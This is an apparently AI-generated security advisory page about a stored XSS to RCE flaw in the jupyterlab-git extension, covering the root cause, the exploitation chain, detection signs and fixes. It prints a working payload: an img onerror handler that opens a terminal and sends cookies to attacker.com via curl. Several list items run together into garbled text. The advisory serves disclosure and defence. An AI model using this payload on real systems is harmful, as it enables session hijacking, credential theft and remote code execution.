
PEACH
Un cadre d’isolation des locataires
CVE-2026-54527 is a stored cross-site scripting (XSS) vulnerability in the jupyterlab-git JupyterLab extension that can be escalated to remote code execution (RCE). Discovered by Amazon Web Services (AWS) Security during internal testing and disclosed on June 18, 2026, the flaw affects @jupyterlab/git (npm), jupyterlab-git (pip), and jupyterlab-git-core (pip) versions >= 0.30.0b3 and < 0.54.0a1. The vulnerability was patched in version 0.54.0 across all affected packages. It carries a CVSS v4.0 base score of 8.6 (High) (GitHub Advisory, jupyterlab-git Advisory).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). Specifically, the createHeader() method in PlainTextDiff.ts (line 214) constructs diff headers by concatenating Git filenames directly into an innerHTML assignment without any HTML sanitization or escaping (GitHub Advisory). An attacker with commit access to a shared repository can embed a JavaScript payload inside a crafted filename (e.g., a .py file whose name contains <script> tags or event handlers), rename the file in a subsequent commit, and push to the repository. Exploitation requires the victim to open the Git History tab in JupyterLab, click the rename commit, and click the renamed file to view the diff — at which point the unsanitized filename is rendered via innerHTML and the payload executes (jupyterlab-git Advisory).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's JupyterLab browser session, which can be escalated to full RCE. The injected script reads the _xsrf cookie, issues a POST /api/terminals request to open a JupyterLab terminal, connects via WebSocket, and executes arbitrary shell commands — granting access to user code, data, environment variables, and credentials (GitHub Advisory). This can result in complete confidentiality, integrity, and availability compromise of the victim's JupyterLab environment, including exfiltration of cloud credentials or secrets stored in the environment (jupyterlab-git Advisory).
<img src=x onerror="fetch('/api/terminals',{method:'POST'}).then(r=>r.json()).then(d=>{const ws=new WebSocket('ws://'+location.host+'/terminals/websocket/'+d.name);ws.onopen=()=>ws.send(JSON.stringify(['stdin','curl http://attacker.com/exfil?c='+document.cookie+'\n']))})">exploit.py.jupyterlab-git extension installed.createHeader() method in PlainTextDiff.ts assigns the unsanitized filename to innerHTML, executing the embedded JavaScript._xsrf cookie, sends a POST request to /api/terminals to open a terminal, connects via WebSocket, and sends arbitrary shell commands — achieving full RCE in the victim's environment (GitHub Advisory, jupyterlab-git Advisory).POST /api/terminals requests originating from a JupyterLab browser session; WebSocket connections to /terminals/websocket/<id> shortly after a user views a Git diff; outbound HTTP requests from the JupyterLab server to unknown external hosts (potential exfiltration).POST /api/terminals) immediately following a Git History diff view; WebSocket upgrade requests to /terminals/websocket/ from browser sessions; unusual shell commands executed via the terminal API (e.g., curl, wget, env, credential-harvesting commands).<, >, onerror=, <script>).bash, sh) spawned as children of the JupyterLab server process with unusual arguments or network activity (GitHub Advisory).Users should upgrade jupyterlab-git (pip), jupyterlab-git-core (pip), and @jupyterlab/git (npm) to version 0.54.0 or later, which addresses the vulnerability by sanitizing filenames before DOM insertion (GitHub Advisory). As a temporary workaround, the advisory recommends replacing innerHTML with textContent for filename rendering in the createHeader() method of PlainTextDiff.ts, or applying proper HTML escaping (<, >, &, ", ') before inserting user-controlled filenames into the DOM (jupyterlab-git Advisory). Organizations should also restrict commit access to shared repositories to trusted users and audit existing repositories for filenames containing HTML/JavaScript special characters.
The vulnerability was discovered and reported by Amazon Web Services (AWS) Security during internal security testing, with credit attributed to krassowski as remediation reviewer and jtpio as remediation developer (jupyterlab-git Advisory). The advisory was published on June 18, 2026, and the fix was released promptly. No significant broader media coverage or notable public researcher commentary beyond the official advisory has been identified at this time.
Source: Ce rapport a été généré à l’aide de l’IA
Évaluation gratuite des vulnérabilités
Évaluez vos pratiques de sécurité cloud dans 9 domaines de sécurité pour évaluer votre niveau de risque et identifier les failles dans vos défenses.
Obtenez une démo personnalisée
"La meilleure expérience utilisateur que j’ai jamais vue, offre une visibilité totale sur les workloads cloud."
"Wiz fournit une interface unique pour voir ce qui se passe dans nos environnements cloud."
"Nous savons que si Wiz identifie quelque chose comme critique, c’est qu’il l’est réellement."